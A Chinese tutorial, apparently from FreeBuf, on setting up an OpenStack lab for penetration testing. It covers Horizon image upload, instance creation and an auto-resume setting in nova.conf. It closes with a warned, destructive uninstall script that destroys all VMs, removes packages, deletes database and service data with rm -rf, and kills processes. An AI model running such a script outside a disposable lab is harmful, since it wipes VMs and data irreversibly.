【浏览】-【CD驱动器】,确定:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

安装完毕:

part1_win2008r2_3.png

注:不能关闭的情况下直接kill掉进程。

0×03 Horizon

Horizon是一个用于管理、控制OpenStack服务的Web控制面板,可以通过http://192.168.20.7/dashboard/进行登录,管理帐号是admin密码保存在/root/keystonerc_admin

3.1 上传映像

http://192.168.20.7/dashboard/登录后,【项目】-【计算】-【映像】-【创建映像】:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

Horizon控制面板添加映像支持2种方式,一种是通过HTTP/HTTPS直接下载,另一种是通过本地上传,在【映像源】选【映像文件】,将制作好的虚拟机上传到OpenStack:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

3.2 创建实例

在【映像】列表的Windows_2008_R2_x64后面点击【启动】,其中【详细信息】、【源】、【flavor】、【网络】这四项为必选项:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

创建完实例,在【实例】点击实例名称进入该实例的详细信息页面,切换到【控制台】即可对虚拟机进行操作:

OpenStack:建立虚拟的渗透测试实验环境 - 安装篇

3.3 开机恢复实例状态

默认情况下,如果重启OpenStack的机器,实例是不会自动恢复之前的状态的,这时需要修改一下配置文件:

# vi /etc/nova/nova.conf

# 去掉注释,将false改成true
resume_guests_state_on_host_boot=true

0×04 卸载

配置的过程中难免有时出错需要重新再来,保存以下脚本为unpackstack.sh

#!/bin/bash

# Warning! Dangerous step! Destroys VMs
for x in $(virsh list --all | grep instance- | awk '{print $2}') ; do
    virsh destroy $x ;
    virsh undefine $x ;
done ;

# Warning! Dangerous step! Removes lots of packages
yum remove -y nrpe "*nagios*" puppet "*ntp*" "*openstack*" \
"*nova*" "*keystone*" "*glance*" "*cinder*" "*swift*" \
mysql mysql-server httpd "*memcache*" scsi-target-utils \
iscsi-initiator-utils perl-DBI perl-DBD-MySQL ;

# Warning! Dangerous step! Deletes local application data
rm -rf /etc/nagios /etc/yum.repos.d/packstack_* /root/.my.cnf \
/var/lib/mysql/ /var/lib/glance /var/lib/nova /etc/nova /etc/swift \
/srv/node/device*/* /var/lib/cinder/ /etc/rsync.d/frag* \
/var/cache/swift /var/log/keystone /var/log/cinder/ /var/log/nova/ \
/var/log/httpd /var/log/glance/ /var/log/nagios/ /var/log/quantum/ ;

umount /srv/node/device* ;
killall -9 dnsmasq tgtd httpd ;

vgremove -f cinder-volumes ;
losetup -a | sed -e 's/:.*//g' | xargs losetup -d ;
find /etc/pki/tls -name "ssl_ps*" | xargs rm -rf ;
for x in $(df | grep "/lib/" | sed -e 's/.* //g') ; do
    umount $x ;
done

卸载操作:

# sh unpackstack.sh

卸载后就可以使用packstack重新部署,需要注意的是,该脚本并不是100%的清除,只是删除基本的文件,比如安装时加入的iptables规则是不会清除的,有强迫症的建议重装系统或在虚拟机里部署。

至此,部署OpenStack和制作映像文件基本完成了。

0×05 参考

*本文原创作者:zrools,本文属FreeBuf原创奖励计划,未经许可禁止转载